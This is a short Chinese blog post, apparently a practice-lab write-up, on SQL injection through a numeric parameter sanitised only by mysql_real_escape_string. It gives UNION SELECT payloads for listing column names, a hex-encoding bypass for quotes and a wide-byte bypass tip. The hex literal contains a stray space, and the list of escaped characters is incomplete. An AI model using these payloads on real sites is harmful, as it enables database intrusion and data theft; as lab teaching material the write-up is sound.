SQL注入 引号转义绕过

  • Post author:
  • Post category:其他


问题描述

做了一个靶场,注入点为数字类型,一开始一帆风顺,直到爆破列名的时候突然报错,页面突然就没了,毫无征兆…报错时的url如下:

?id=1 and 1=2 union select column_name,null,null,null,null from information_schema.columns where table_schema=database() and table_name=”users”

查看源码:

$sql="SELECT * FROM users where id=";
    $sql.=mysql_real_escape_string($_GET["id"])." ";
    $result=mysql_query($sql);


mysql_real_escape_string() 函数

用来转义 SQL 语句中使用的字符串中的特殊字符。

如果成功,则该函数返回被转义的字符串(即在字符前加”\”)。如果失败,则返回 false。

受影响的字符:

\x00 \n \r
\
\x1a


所以报错是因为 table_name=”users” 部分受到了转义字符的影响,变成了table_name=\”users\” ,进而无法识别而报错。所以需要进行引号转义的绕过

解决方法

将 users 转换为16进制

?id=1 and 1=2 union select column_name,null,null,null,null from information_schema.columns where table_schema=database() and table_name = 0x75736 57273

转换工具:




字符串转16进制_16进制转换、十六进制转换_汇享在线工具箱


字符串转16进制(十六进制)



http://tool.huixiang360.com/str/hex.php



注意:


如果引号出现在其他地方比如字符型的注入点上,可以通过宽字节绕过。即通过在引号前面添加%D6、%df等字符,令其与”\”组合成新的编码,解析成为汉字,以此来消除”\”对引号的影响。但此处双引号周围不能出现其他字符,只能通过转换为16进制来绕过



版权声明:本文为Auroraxsn原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。